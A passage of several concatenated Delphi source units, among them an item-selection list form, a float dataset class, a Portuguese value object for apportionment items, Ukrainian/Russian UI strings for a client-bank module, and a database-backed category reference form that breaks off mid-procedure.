lbItems.Items.BeginUpdate;
try
lbItems.Items.Clear;
For i := fILManager.ItemLowIndex to fILManager.ItemHighIndex do
If fILManager[i].DataAccessible then
lbItems.AddItem(fILManager[i].TitleStr,fILManager[i]);
finally
lbItems.Items.EndUpdate;
end;
If lbItems.Count > 0 then
lbItems.ItemIndex := 0;
lbItems.OnClick(nil);
end;
//------------------------------------------------------------------------------
procedure TfItemSelectForm.UpdateIndex;
begin
If lbItems.Count > 0 then
begin
If lbItems.ItemIndex >= 0 then
lblItems.Caption := IL_Format('Items (%d/%d):',[lbItems.ItemIndex + 1,lbItems.Count])
else
lblItems.Caption := IL_Format('Items (%d):',[lbItems.Count]);
end
else lblItems.Caption := 'Items:';
end;
//==============================================================================
procedure TfItemSelectForm.Initialize(ILManager: TILManager);
begin
fILManager := ILManager;
end;
//------------------------------------------------------------------------------
procedure TfItemSelectForm.Finalize;
begin
// nothing to do here
end;
//------------------------------------------------------------------------------
Function TfItemSelectForm.ShowItemSelect(const Title: String; Selected: Integer = -1): Integer;
var
i: Integer;
begin
Caption := Title;
FillList;
If fILManager.CheckIndex(Selected) then
begin
lbItems.ItemIndex := Selected;
lbItems.OnClick(nil);
// scroll so that the item is at the top if possible
If lbItems.Count > (lbItems.ClientHeight div lbItems.ItemHeight) then
begin
If (lbItems.Count - Selected) < (lbItems.ClientHeight div lbItems.ItemHeight) then
lbItems.TopIndex := lbItems.Count - (lbItems.ClientHeight div lbItems.ItemHeight)
else
lbItems.TopIndex := Selected;
end;
end;
fAccepted := False;
// reinit renders
For i := 0 to Pred(lbItems.Count) do
with TILItem(lbItems.Items.Objects[i]) do
begin
BeginUpdate;
try
ReinitSmallDrawSize(lbItems.ClientWidth,lbItems.ItemHeight,lbItems.Font);
ChangeSmallStripSize(-1);
finally
EndUpdate;
end;
end;
ShowModal;
If fAccepted then
Result := TILItem(lbItems.Items.Objects[lbItems.ItemIndex]).Index
else
Result := -1;
end;
//==============================================================================
procedure TfItemSelectForm.FormCreate(Sender: TObject);
begin
fDrawBuffer := TBitmap.Create;
fDrawBuffer.PixelFormat := pf24bit;
fDrawBuffer.Canvas.Font.Assign(lbItems.Font);
lbItems.DoubleBuffered := True;
end;
//------------------------------------------------------------------------------
procedure TfItemSelectForm.FormDestroy(Sender: TObject);
begin
FreeAndNil(fDrawBuffer);
end;
//------------------------------------------------------------------------------
procedure TfItemSelectForm.lbItemsClick(Sender: TObject);
begin
UpdateIndex;
end;
//------------------------------------------------------------------------------
procedure TfItemSelectForm.lbItemsDblClick(Sender: TObject);
begin
UpdateIndex;
If lbItems.ItemIndex >= 0 then
btnAccept.OnClick(nil);
end;
//------------------------------------------------------------------------------
procedure TfItemSelectForm.lbItemsDrawItem(Control: TWinControl;
Index: Integer; Rect: TRect; State: TOwnerDrawState);
var
BoundsRect: TRect;
TempItem: TILItem;
TempInt: Integer;
TempStr: String;
begin
If Assigned(fDrawBuffer) then
begin
// adjust draw buffer size
If fDrawBuffer.Width < (Rect.Right - Rect.Left) then
fDrawBuffer.Width := Rect.Right - Rect.Left;
If fDrawBuffer.Height < (Rect.Bottom - Rect.Top) then
fDrawBuffer.Height := Rect.Bottom - Rect.Top;
BoundsRect := Classes.Rect(0,0,Rect.Right - Rect.Left,Rect.Bottom - Rect.Top);
with fDrawBuffer.Canvas do
begin
TempItem := TILItem(lbItems.Items.Objects[Index]);
// content
Draw(BoundsRect.Left,BoundsRect.Top,TempItem.RenderSmall);
TempItem.RenderSmall.Dormant;
// separator line
Pen.Style := psSolid;
Pen.Color := clSilver;
MoveTo(BoundsRect.Left,Pred(BoundsRect.Bottom));
LineTo(BoundsRect.Right,Pred(BoundsRect.Bottom));
// marker
Pen.Style := psClear;
Brush.Style := bsSolid;
Brush.Color := $00F7F7F7;
Rectangle(BoundsRect.Left,BoundsRect.Top,BoundsRect.Left +
TempItem.SmallStrip,BoundsRect.Bottom);
// indicate pictures by glyphs
TempInt := fDrawBuffer.Width - 61;
Pen.Style := psSolid;
If TempItem.Pictures.SecondaryCount(False) > 0 then
begin
Dec(TempInt,14);
Pen.Color := $00FFAC22;
Brush.Style := bsSolid;
Brush.Color := $00FFBF55;
Polygon([Point(TempInt,5),Point(TempInt,16),Point(TempInt + 11,11)]);
If TempItem.Pictures.SecondaryCount(False) > 1 then
begin
Font.Size := 8;
Font.Style := [fsBold];
Brush.Style := bsClear;
TempStr := IL_Format('%dx',[TempItem.Pictures.SecondaryCount(False)]);
Dec(TempInt,TextWidth(TempStr) + 3);
TextOut(TempInt,4,TempStr);
end;
end;
If TempItem.Pictures.CheckIndex(TempItem.Pictures.IndexOfPackagePicture) then
begin
Dec(TempInt,14);
Pen.Color := $0000D3D9;
Brush.Style := bsSolid;
Brush.Color := $002BFAFF;
Rectangle(TempInt,5,TempInt + 11,16);
end;
If TempItem.Pictures.CheckIndex(TempItem.Pictures.IndexOfItemPicture) then
begin
Dec(TempInt,14);
Pen.Color := $0000E700;
Brush.Style := bsSolid;
Brush.Color := clLime;
Ellipse(TempInt,5,TempInt + 11,16);
end;
// states
If odSelected in State then
begin
Pen.Style := psClear;
Brush.Style := bsSolid;
Brush.Color := clLime;
Rectangle(BoundsRect.Left,BoundsRect.Top,BoundsRect.Left + 11,BoundsRect.Bottom);
end;
end;
// move drawbuffer to the canvas
lbItems.Canvas.CopyRect(Rect,fDrawBuffer.Canvas,BoundsRect);
// disable focus rectangle
If odFocused in State then
lbItems.Canvas.DrawFocusRect(Rect);
end;
end;
//------------------------------------------------------------------------------
procedure TfItemSelectForm.btnAcceptClick(Sender: TObject);
begin
fAccepted := True;
Close;
end;
//------------------------------------------------------------------------------
procedure TfItemSelectForm.btnCancelClick(Sender: TObject);
begin
fAccepted := False;
Close;
end;
end.
|
unit SingleDataSet;
interface
uses AbstractDataSet;
type
TSingleDataSet = class (TAbstractDataSet)
private
// Gets
function GetData(_pos: integer): single; reintroduce; overload;
// Sets
procedure SetData(_pos: integer; _data: single); reintroduce; overload;
protected
FData : packed array of single;
// Gets
function GetDataLength: integer; override;
function GetLast: integer; override;
// Sets
procedure SetLength(_size: integer); override;
public
// copies
procedure Assign(const _Source: TAbstractDataSet); override;
// properties
property Data[_pos: integer]:single read GetData write SetData;
end;
implementation
// Gets
function TSingleDataSet.GetData(_pos: integer): single;
begin
Result := FData[_pos];
end;
function TSingleDataSet.GetDataLength: integer;
begin
Result := High(FData) + 1;
end;
function TSingleDataSet.GetLast: integer;
begin
Result := High(FData);
end;
// Sets
procedure TSingleDataSet.SetData(_pos: integer; _data: single);
begin
FData[_pos] := _data;
end;
procedure TSingleDataSet.SetLength(_size: Integer);
begin
System.SetLength(FData,_size);
end;
// copies
procedure TSingleDataSet.Assign(const _Source: TAbstractDataSet);
var
maxData,i: integer;
begin
Length := _Source.Length;
maxData := GetDataLength() - 1;
for i := 0 to maxData do
begin
Data[i] := (_Source as TSingleDataSet).Data[i];
end;
end;
end.
|
unit UItensRateioVO;
interface
uses Atributos, Classes, Constantes, Generics.Collections, SysUtils, UGenericVO, UUnidadeVO;
type
[TEntity]
[TTable('ItensRateio')]
TItensRateioVO = class(TGenericVO)
private
FidItensRateio : Integer;
FidRateio : Integer;
FidUnidade : Integer;
FvlRateio : currency;
FvlFundoReserva : currency;
FdtRateio : TDateTime;
FdsUnidade : String;
Fvlareatotal : Currency;
public
UnidadeVO : TUnidadeVO;
[TId('idItensRateio')]
[TGeneratedValue(sAuto)]
property idItensRateio : Integer read FidItensRateio write FidItensRateio;
[TColumn('idRateio','Leitura Gás',0,[ldLookup,ldComboBox], False)]
property idRateio: integer read FidRateio write FidRateio;
[TColumn('dtRateio','Data',0,[ldGrid,ldLookup,ldComboBox], False)]
property dtRateio: TDateTime read FdtRateio write FdtRateio;
[TColumn('idUnidade','Unidade',0,[ldLookup,ldComboBox], False)]
property idUnidade: integer read FidUnidade write FidUnidade;
[TColumn('vlRateio','Valor Medido',50,[ldGrid,ldLookup,ldComboBox], False)]
property vlRateio: currency read FvlRateio write FvlRateio;
[TColumn('vlFundoReserva','Valor Calculado',50,[ldGrid,ldLookup,ldComboBox], False)]
property vlFundoReserva: currency read FvlFundoReserva write FvlFundoReserva;
// [TColumn('DSUNIDADE','Unidade',0,[], True, 'Unidade', 'idUnidade', 'idUnidade')]
// property DsUnidade: string read FdsUnidade write FdsUnidade;
// [TColumn('vlareatotal','Valor Area',0,[], True, 'Unidade', 'idUnidade', 'idUnidade')]
// property vlareatotal: Currency read Fvlareatotal write Fvlareatotal;
procedure ValidarCamposObrigatorios;
end;
implementation
procedure TItensRateioVO.ValidarCamposObrigatorios;
begin
if (self.dtRateio = 0) then
begin
raise Exception.Create('O campo Data é obrigatório!');
end;
end;
end.
|
unit ConstClBank;
interface
resourcestring
{ ClBank_ACTION_ADD_CONST ='Добавить';
ClBank_ACTION_DELETE_CONST ='Удалить';
ClBank_ACTION_EDIT_CONST ='Редактировать';
ClBank_ACTION_REFRESH_CONST ='Обновить';
ClBank_ACTION_CLOSE_CONST ='Закрыть';
ClBank_ACTION_PRINT_CONST ='Печать';
ClBank_ACTION_HELP_CONST ='Помощь';
ClBank_ACTION_CHOOSE_CONST ='Выбрать';
ClBank_ACTION_FILTER_CONST ='Фильтр';
ClBank_ACTION_SAVE_CONST ='Сохранить';
ClBank_ACTION_MARK_DELETE_CONST ='Пометить на удал.';
ClBank_ACTION_MARK_DELETE_ALL_CONST ='Пометить все на удал.';
ClBank_ACTION_UNMARK_DELETE_CONST ='Отменить удал.';
ClBank_ACTION_UNMARK_DELETE_ALLCONST ='Отменить удал. у всех';
ClBank_ACTION_CLEAR_CONST ='Очистить';
ClBank_ACTION_WOTK_CONST ='Обработать заново';}
ClBank_ACTION_ADD_CONST ='Додати';
ClBank_ACTION_DELETE_CONST ='Видалити';
ClBank_ACTION_EDIT_CONST ='Редагувати';
ClBank_ACTION_REFRESH_CONST ='Оновити';
ClBank_ACTION_CLOSE_CONST ='Закрити';
ClBank_ACTION_PRINT_CONST ='Друкувати';
ClBank_ACTION_HELP_CONST ='Допомога';
ClBank_ACTION_CHOOSE_CONST ='Вибрати';
ClBank_ACTION_FILTER_CONST ='Фільтр';
ClBank_ACTION_SAVE_CONST ='Зберегти';
ClBank_ACTION_MARK_DELETE_CONST ='Помітити на вилуч.';
ClBank_ACTION_MARK_DELETE_ALL_CONST ='Помітити все на вилуч..';
ClBank_ACTION_UNMARK_DELETE_CONST ='Відмінити вилучення';
ClBank_ACTION_UNMARK_DELETE_ALLCONST ='Відмінити вилучення у всіх';
ClBank_ACTION_CLEAR_CONST ='Очистити';
ClBank_ACTION_WOTK_CONST ='Обробити знову';
ClBank_ACTION_FIND ='Пошук';
ClBank_ACTION_DELETE_ALL_CONST ='Видалити усі необроблені документи з КБ, які відображені';
ClBank_DOC_NUM = 'Ви дійсно бажаете видалити документ № ';
ClBank_MESSAGE_DELETE_ALL_NEOBR = 'Ви дійсно бажаете видалити УСІ необроблені документи, які відображені?';
{ ClBank_BUTTON_OK_CONST ='Ок';
ClBank_BUTTON_CANCEL_CONST ='Отмена';
ClBank_BUTTON_YES_CONST ='Да';
ClBank_BUTTON_NO_CONST ='нет';}
ClBank_BUTTON_OK_CONST ='Ок';
ClBank_BUTTON_CANCEL_CONST ='Відмінити';
ClBank_BUTTON_YES_CONST ='Да';
ClBank_BUTTON_NO_CONST ='Ні';
{ ClBank_MESSAGE_WARNING ='Внимание!';
ClBank_MESSAGE_ERROR ='Ошибка!';
ClBank_MESSAGE_HINT ='Предупреждение!';
ClBank_MESSAGE_DELETE ='Вы действительно хотите удалить?';
ClBank_MESSAGE_NOT_DATA ='Неполные данные';
ClBank_MESSAGE_WAIT ='Ждите. Идет обработка данных.';}
ClBank_MESSAGE_WARNING ='Увага!';
ClBank_MESSAGE_ERROR ='Помилка!';
ClBank_MESSAGE_HINT ='Попередження!';
ClBank_MESSAGE_DELETE ='Ви дійсно бажаете видалити?';
ClBank_MESSAGE_NOT_DATA ='Неповні дані';
ClBank_MESSAGE_WAIT ='Чекайте. Йде обробка даних.';
{ ClBank_NAME_BANK ='Название файла';
ClBank_CODE_BANK ='Код банка';
ClBank_TYPE_FILE ='Тип файла';
ClBank_LAST_RUN ='Последний запуск';
ClBank_SP ='Процедура обработки';
ClBank_FILE ='Название файла';
ClBank_SP_PARAM ='Параметры процедуры';
ClBank_FILE_FIELDS ='Поля файла';
ClBank_SETUP ='Настройка клиент банка';
ClBank_SPParam ='Параметры процедури';}
ClBank_NAME_BANK ='Назва банку';
ClBank_CODE_BANK ='Код банку';
ClBank_TYPE_FILE ='Тип файлу';
ClBank_LAST_RUN ='Останній запуск';
ClBank_SP ='Процедура обробки';
ClBank_FILE ='Назва файлу';
ClBank_SP_PARAM ='Параметри процедури';
ClBank_FILE_FIELDS ='Поля файлу';
ClBank_SETUP ='Настроювання кліент банку';
ClBank_SPParam ='Параметри процедури';
ClBank_USE_MFO ='Використовувати задане МФО';
ClBank_INOUT_SUM ='Використовувати задане значення прибутка\вибутка';
ClBank_MODI_SUM ='Модифікувати суму документу';
ClBank_IgnorFields ='Ігнорувати поле';
{ ClBank_CFieldDBF ='Поля файла';
ClBank_CLabelSP ='Процедура';
ClBank_CLabelDBF ='Файл данных';
ClBank_MESSAGE_SAVE_ERROR ='Ошибка при сохраниении данных. Обратитесь к администатору.';
ClBank_MESSAGE_NO_SP ='Не выбрана процудура для экспорта.';
ClBank_MESSAGE_NO_FILE ='Не выбран файл для экспорта.';
ClBank_MESSAGE_NI_FILE_EXIST ='Такой файл не существует.';
ClBank_MESSAGE_NOT_DELETE ='Данный документ не может быть удален.';
ClBank_GET_PARAM ='Забор данных';
ClBank_date_doc ='Дата документа';
ClBank_date_vip ='Дата банковской выписки';
ClBank_number_doc ='Номер документа';
ClBank_summa ='Сума документа';}
ClBank_CFieldDBF ='Поля файлу';
ClBank_CLabelSP ='Процедура';
ClBank_CLabelDBF ='Файл даних';
ClBank_MESSAGE_SAVE_ERROR ='Помилка при збереженні данних. Зверніться до адміністратора.';
ClBank_MESSAGE_NO_SP ='Не вибрана процедура для експорту.';
ClBank_MESSAGE_NO_FILE ='Не вибран файл для експорту.';
ClBank_MESSAGE_NI_FILE_EXIST ='Такий файл не існує.';
ClBank_MESSAGE_NOT_DELETE ='Данний документ не може бути вилучен.';
ClBank_GET_PARAM ='Забір данних';
ClBank_date_doc ='Дата документа';
ClBank_date_vip ='Дата банківської виписки';
ClBank_number_doc ='Номер документа';
ClBank_summa ='Сума документа';
{ ClBank_note ='Основание документа';
ClBank_rs_native ='Наши реквизиты';
ClBank_rs_customer ='Реквизиты контрагента';
ClBank_customer ='Контрагент';
ClBank_type_doc ='Тип документа';
ClBank_prihod ='Приход';
ClBank_rashod ='Расход';
ClBank_prras ='Приход\Расход';
clBank_mfo ='МФО';
ClBank_rs ='Расчетный счет';
ClBank_From_SPR ='Из справочника';
ClBank_From_text ='По включению';}
ClBank_note ='Підстава документа';
ClBank_rs_native ='Наші реквізити';
ClBank_rs_customer ='Реквізити контрагента';
ClBank_customer ='Контрагент';
ClBank_type_doc ='Тип документу';
ClBank_prihod ='Прибуток';
ClBank_rashod ='Видаток';
ClBank_prras ='Прибуток\Видаток';
clBank_mfo ='МФО';
ClBank_rs ='Розрахунковий рахунок';
ClBank_From_SPR ='З довідника';
ClBank_From_text ='За включенням';
{ ClBank_Column_Edit ='Редактор колонок';
ClBank_CAPTION_LOG ='Экспорт данных из клиент банка';
ClBank_DOC_ClBank ='Платежный документ';
ClBank_Begin ='С';
ClBank_End ='ПО';}
ClBank_Column_Edit ='Редактор колонок';
ClBank_CAPTION_LOG ='Експорт даних з кліент-банка';
ClBank_DOC_ClBank ='Платіжний документ';
ClBank_Begin ='З';
ClBank_End ='До';
ClBank_Check_Doublicate ='Перевірка на повторення даних';
ClBank_Check_Date ='Перевірка на останній запуск';
ClBank_WORK ='Оброблен';
ClBank_UNWORK ='Не оброблен';
ClBank_OKPO = 'Діапазон ЄДРПОУ';
ClBank_date_prov = 'Дата проведення документу';
Clbank_report_ChP = 'Звіт за приватними підприємцями';
Clbank_date_doc_vip = 'Дата документу не може бути більш за дату виписки!';
implementation
end.
|
unit St_sp_Type_Category_Form;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxStyles, cxCustomData, cxGraphics, cxFilter, cxData,
cxDataStorage, cxEdit, DB, cxDBData, cxCheckBox, FIBQuery, pFIBQuery,
pFIBStoredProc, ActnList, FIBDataSet, pFIBDataSet, cxContainer, cxLabel,
ExtCtrls, cxGridLevel, cxGridCustomTableView, cxGridTableView,
cxGridDBTableView, cxClasses, cxControls, cxGridCustomView, cxGrid,
ImgList, ComCtrls, ToolWin, cxGridCustomPopupMenu, cxGridPopupMenu, Menus,
StdCtrls, FIBDatabase, pFIBDatabase,IBase, St_Proc, dxStatusBar, st_ConstUnit;
type
TTypeCategoryForm = class(TForm)
cxGrid1: TcxGrid;
cxGrid1DBTableView1: TcxGridDBTableView;
cxGrid1DBTableView1DBColumn1: TcxGridDBColumn;
cxGrid1DBTableView1ID_TYPE_CATEGORY: TcxGridDBColumn;
cxGrid1DBTableView1NAME_TYPE_CATEGORY: TcxGridDBColumn;
cxGrid1DBTableView1NAME_SHORT: TcxGridDBColumn;
cxGrid1DBTableView1MONTH_OPL: TcxGridDBColumn;
cxGrid1Level1: TcxGridLevel;
Panel1: TPanel;
cxLabel1: TcxLabel;
MonthOplCheck: TcxCheckBox;
cxStyleRepository1: TcxStyleRepository;
cxStyle1: TcxStyle;
cxStyle2: TcxStyle;
DataSet: TpFIBDataSet;
DataSource: TDataSource;
ActionList1: TActionList;
AddAction: TAction;
EditAction: TAction;
DeleteAction: TAction;
RefreshAction: TAction;
ExitAction: TAction;
WriteProc: TpFIBStoredProc;
ReadDataSet: TpFIBDataSet;
ToolBar1: TToolBar;
AddButton: TToolButton;
EditButton: TToolButton;
DeleteButton: TToolButton;
RefreshButton: TToolButton;
ExitButton: TToolButton;
ImageListOfCategory: TImageList;
SelectButton: TToolButton;
cxStyle3: TcxStyle;
cxStyle4: TcxStyle;
PopupMenu1: TPopupMenu;
N1: TMenuItem;
N2: TMenuItem;
DeleteAction1: TMenuItem;
RefreshAction1: TMenuItem;
ShortNameLabel: TEdit;
SearchButton_Naim: TToolButton;
N3: TMenuItem;
DB: TpFIBDatabase;
ReadTransaction: TpFIBTransaction;
WriteTransaction: TpFIBTransaction;
PopupImageList: TImageList;
HotKey_StatusBar: TdxStatusBar;
SelectAction: TAction;
procedure SelectButtonClick(Sender: TObject);
procedure cxGrid1DBTableView1DblClick(Sender: TObject);
procedure DataSetAfterScroll(DataSet: TDataSet);
procedure ExitButtonClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure DataSetAfterOpen(DataSet: TDataSet);
procedure FormCreate(Sender: TObject);
procedure AddButtonClick(Sender: TObject);
procedure EditButtonClick(Sender: TObject);
procedure DeleteButtonClick(Sender: TObject);
procedure RefreshButtonClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure SearchButton_NaimClick(Sender: TObject);
private
PLanguageIndex: byte;
procedure FormIniLanguage();
public
KeyField : string;
constructor Create (AOwner: TComponent; DB_Handle:TISC_DB_HANDLE;IsChild: boolean; AllowMultiSelect: boolean);reintroduce;
procedure SelectAll;
end;
function View_st_Type_Category(AOwner : TComponent;DB:TISC_DB_HANDLE; ShowModal: boolean; MultiSelect: boolean; ID : int64):variant;stdcall;
exports View_st_Type_Category;
var
TypeCategoryForm: TTypeCategoryForm;
res:Variant;
implementation
uses St_sp_Category_Type_Add,
Search_LgotUnit_TC, Search_Unit_TC;
{$R *.dfm}
procedure TTypeCategoryForm.FormIniLanguage();
begin
// индекс языка (1-укр, 2 - рус)
PLanguageIndex:= St_Proc.cnLanguageIndex;
Caption := st_ConstUnit.st_CatTypeSprav[PLanguageIndex];
//названия кнопок
ExitButton.Caption := st_ConstUnit.st_ExitBtn_Caption[PLanguageIndex];
ExitButton.Hint := st_ConstUnit.st_ExitBtn_Caption[PLanguageIndex];
AddButton.Caption := st_ConstUnit.st_InsertBtn_Caption[PLanguageIndex];
AddButton.Hint := st_ConstUnit.st_InsertBtn_Caption[PLanguageIndex];
EditButton.Caption := st_ConstUnit.st_EditBtn_Caption[PLanguageIndex];
EditButton.Hint := st_ConstUnit.st_EditBtn_Caption[PLanguageIndex];
DeleteButton.Caption := st_ConstUnit.st_DeleteBtn_Caption[PLanguageIndex];
DeleteButton.Hint := st_ConstUnit.st_DeleteBtn_Caption[PLanguageIndex];
RefreshButton.Caption := st_ConstUnit.st_RefreshBtn_Caption[PLanguageIndex];
RefreshButton.Hint := st_ConstUnit.st_RefreshBtn_Caption[PLanguageIndex];
SelectButton.Caption := st_ConstUnit.st_Select_Caption[PLanguageIndex];
SelectButton.Hint := st_ConstUnit.st_Select_Caption[PLanguageIndex];
SearchButton_Naim.Caption := st_ConstUnit.st_ZaName[PLanguageIndex];
SearchButton_Naim.Hint := st_ConstUnit.st_ZaName[PLanguageIndex];
HotKey_StatusBar.Panels[0].Text:= st_ConstUnit.st_InsertBtn_ShortCut[PLanguageIndex] + st_ConstUnit.st_InsertBtn_Caption[PLanguageIndex];
HotKey_StatusBar.Panels[1].Text:= st_ConstUnit.st_EditBtn_ShortCut[PLanguageIndex] + st_ConstUnit.st_EditBtn_Caption[PLanguageIndex];
HotKey_StatusBar.Panels[2].Text:= st_ConstUnit.st_DeleteBtn_ShortCut[PLanguageIndex] + st_ConstUnit.st_DeleteBtn_Caption[PLanguageIndex];
HotKey_StatusBar.Panels[3].Text:= st_ConstUnit.st_RefreshBtn_ShortCut[PLanguageIndex] + st_ConstUnit.st_RefreshBtn_Caption[PLanguageIndex];
HotKey_StatusBar.Panels[4].Text:= st_ConstUnit.st_Select_Caption[PLanguageIndex] + st_ConstUnit.st_EnterBtn_ShortCut[PLanguageIndex];
HotKey_StatusBar.Panels[5].Text:= st_ConstUnit.st_ExitBtn_ShortCut[PLanguageIndex] + st_ConstUnit.st_ExitBtn_Caption[PLanguageIndex];
HotKey_StatusBar.Hint := st_ConstUnit.st_HotKeys[PLanguageIndex];
cxLabel1.Caption := st_ConstUnit.st_ShortLable[PLanguageIndex];
MonthOplCheck.Properties.Caption := st_ConstUnit.st_ByMonth[PLanguageIndex];
// пошел грид
cxGrid1DBTableView1NAME_TYPE_CATEGORY.Caption := st_ConstUnit.st_NameLable[PLanguageIndex];
N1.Caption := st_ConstUnit.st_InsertBtn_Caption[PLanguageIndex];
N2.Caption := st_ConstUnit.st_EditBtn_Caption[PLanguageIndex];
DeleteAction1.Caption := st_ConstUnit.st_DeleteBtn_Caption[PLanguageIndex];
RefreshAction1.Caption := st_ConstUnit.st_RefreshBtn_Caption[PLanguageIndex];
N3.Caption := st_ConstUnit.st_KontextPoisk[PLanguageIndex];
N1.Hint := st_ConstUnit.st_InsertBtn_Caption[PLanguageIndex];
N2.Hint := st_ConstUnit.st_EditBtn_Caption[PLanguageIndex];
DeleteAction1.Hint := st_ConstUnit.st_DeleteBtn_Caption[PLanguageIndex];
RefreshAction1.Hint := st_ConstUnit.st_RefreshBtn_Caption[PLanguageIndex];
N3.Caption := st_ConstUnit.st_KontextPoisk[PLanguageIndex];
end;
constructor TTypeCategoryForm.Create(AOwner: TComponent; DB_Handle:TISC_DB_HANDLE; IsChild: boolean; AllowMultiSelect: boolean);
begin
inherited Create(AOwner);
Screen.Cursor:= crHourGlass;
DB.Handle:=DB_Handle;
if IsChild then begin
Formstyle:=fsMDIChild;
SelectButton.Enabled:=false;
end
else begin
if AllowMultiSelect then
begin
Formstyle:=fsNormal;
cxGrid1DBTableView1.Columns[0].Visible := true;
SelectButton.Enabled:=true;
cxGrid1DBTableView1.OptionsSelection.MultiSelect:=true;
SearchButton_Naim.Enabled:=true;
end
else begin
Formstyle:=fsNormal;
SelectButton.Enabled:=true;
SearchButton_Naim.Enabled:=true;
cxGrid1DBTableView1.OptionsSelection.MultiSelect:=false;
end;
end;
Screen.Cursor:= crDefault;
end;
function View_st_Type_Category(AOwner : TComponent;DB:TISC_DB_HANDLE; ShowModal: boolean; MultiSelect: boolean; ID : int64):variant;stdcall;
var ViewForm:TTypeCategoryForm;
begin
if not IsMDIChildFormShow(TTypeCategoryForm) then
if ShowModal=false then begin
ViewForm:=TTypeCategoryForm.Create(AOwner,DB, true, false);
ViewForm.selectall;
View_st_Type_Category:=res;
end
else begin
if (not MultiSelect) then
begin
ViewForm:=TTypeCategoryForm.Create(AOwner,DB, false, false);
ViewForm.selectall;
if (ID <> -2) then ViewForm.DataSet.Locate('ID_TYPE_CATEGORY', ID, []);
ViewForm.ShowModal;
View_st_Type_Category:=res;
end
else
begin
ViewForm:=TTypeCategoryForm.Create(AOwner,DB, false, true);
ViewForm.selectall;
ViewForm.ShowModal;
View_st_Type_Category:=res;
end;
end;
end;
function BoolConvert(const b : boolean) : shortint;
begin
if b then Result := 1 else Result := 0;
end;
procedure TTypeCategoryForm.SelectAll;
begin
DataSet.Close;
DataSet.Open;
end;
procedure TTypeCategoryForm.SelectButtonClick(Sender: TObject);
var i : integer;
RecMultiSelected : integer;
begin
if cxGrid1DBTableView1.OptionsSelection.MultiSelect=true then
begin
RecMultiSelected:=cxGrid1DBTableView1.DataController.GetSelectedCount;
res:=VarArrayCreate([0,RecMultiSelected-1],varVariant);
for i:=0 to cxGrid1DBTableView1.DataController.GetSelectedCount-1 do
begin
res[i]:=cxGrid1DBTableView1.Controller.SelectedRecords[i].Values[1];
end;
end;
if cxGrid1DBTableView1.OptionsSelection.MultiSelect=false then
begin
res:=VarArrayCreate([0,2],varVariant);
res[0]:=DataSet['ID_TYPE_CATEGORY'];
res[1]:=DataSet['NAME_TYPE_CATEGORY'];
res[2]:=DataSet['MONTH_OPL'];
end;
ModalResult := mrOK;
end;
procedure TTypeCategoryForm.cxGrid1DBTableView1DblClick(Sender: TObject);
var i : integer;
RecMultiSelected : integer;
begin
if cxGrid1DBTableView1.OptionsSelection.MultiSelect=true then
begin
RecMultiSelected:=cxGrid1DBTableView1.DataController.GetSelectedCount;
res:=VarArrayCreate([0,RecMultiSelected-1],varVariant);
for i:=0 to cxGrid1DBTableView1.DataController.GetSelectedCount-1 do
begin
res[i]:=cxGrid1DBTableView1.Controller.SelectedRecords[i].Values[1];
end;
end;
if cxGrid1DBTableView1.OptionsSelection.MultiSelect=false then
begin
res:=VarArrayCreate([0,2],varVariant);
res[0]:=DataSet['ID_TYPE_CATEGORY'];
res[1]:=DataSet['NAME_TYPE_CATEGORY'];
res[2]:=DataSet['MONTH_OPL'];
end;
if FormStyle = fsMDIChild then EditButtonClick(Sender);
ModalResult := mrOK;
end;
procedure TTypeCategoryForm.DataSetAfterScroll(DataSet: TDataSet);
begin
if DataSet.RecordCount = 0 then exit;
if DataSet['NAME_SHORT']<> null then ShortNameLabel.Text := DataSet['NAME_SHORT'];
if DataSet['MONTH_OPL']<> null then MonthOplCheck.Checked := DataSet['MONTH_OPL'] = 1;
end;
procedure TTypeCategoryForm.ExitButtonClick(Sender: TObject);
begin
res:=null;
close;
end;
procedure TTypeCategoryForm.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
Action:=caFree;
end;
procedure TTypeCategoryForm.DataSetAfterOpen(DataSet: TDataSet);
begin
if DataSet.RecordCount = 0 then begin
EditButton.Enabled := false;
DeleteButton.Enabled := false;
// SelectButton.Enabled := false;
end else begin
EditButton.Enabled := true;
DeleteButton.Enabled := true;
// SelectButton.Enabled := true;
end;
end;
procedure TTypeCategoryForm.FormCreate(Sender: TObject);
begin
KeyField := 'ID_TYPE_CATEGORY';
end;
procedure TTypeCategoryForm.AddButtonClick(Sender: TObject);
var
new_id : integer;
begin
TypeCategoryFormAdd := TTypeCategoryFormAdd.Create(Self);
TypeCategoryFormAdd.Caption := st_ConstUnit.st_InsertBtn_Caption[PLanguageIndex];
TypeCategoryFormAdd.PLanguageIndex := PLanguageIndex;
if TypeCategoryFormAdd.ShowModal = mrOK then begin
WriteProc.StoredProcName := 'ST_INI_TYPE_CATEGORY_INSERT';
WriteProc.Transaction.StartTransaction;
WriteProc.Prepare;
WriteProc.ParamByName('NAME_TYPE_CATEGORY').AsString := TypeCategoryFormAdd.NameEdit.Text;
WriteProc.ParamByName('NAME_SHORT').AsString := TypeCategoryFormAdd.ShortEdit.Text;
WriteProc.ParamByName('MONTH_OPL').AsInteger := BoolConvert(TypeCategoryFormAdd.MonthOplCheck.Checked);
WriteProc.ExecProc;
new_id := WriteProc[KeyField].AsInteger;
try
WriteProc.Transaction.Commit;
WriteProc.Close;
except
WriteProc.Transaction.Rollback;
WriteProc.Close;
raise;
end;
SelectAll;
DataSet.Locate(KeyField, new_id, []);
end;
TypeCategoryFormAdd.Free;
end;
procedure TTypeCategoryForm.EditButtonClick(Sender: TObject);
var
id : integer;
begin
id := DataSet[KeyField];
TypeCategoryFormAdd := TTypeCategoryFormAdd.Create(Self);
TypeCategoryFormAdd.Caption := st_ConstUnit.st_EditBtn_Caption[PLanguageIndex];
TypeCategoryFormAdd.PLanguageIndex := PLanguageIndex;
if DataSet['NAME_SHORT']<> null then TypeCategoryFormAdd.ShortEdit.Text := DataSet['NAME_SHORT'];
if DataSet['NAME_TYPE_CATEGORY']<> null then TypeCategoryFormAdd.NameEdit.Text := DataSet['NAME_TYPE_CATEGORY'];
if DataSet['MONTH_OPL']<> null then TypeCategoryFormAdd.MonthOplCheck.Checked := DataSet['MONTH_OPL'] = 1;
if TypeCategoryFormAdd.ShowModal = mrOK then begin
WriteProc.StoredProcName := 'ST_INI_TYPE_CATEGORY_UPDATE';
WriteProc.Transaction.StartTransaction;
WriteProc.Prepare;
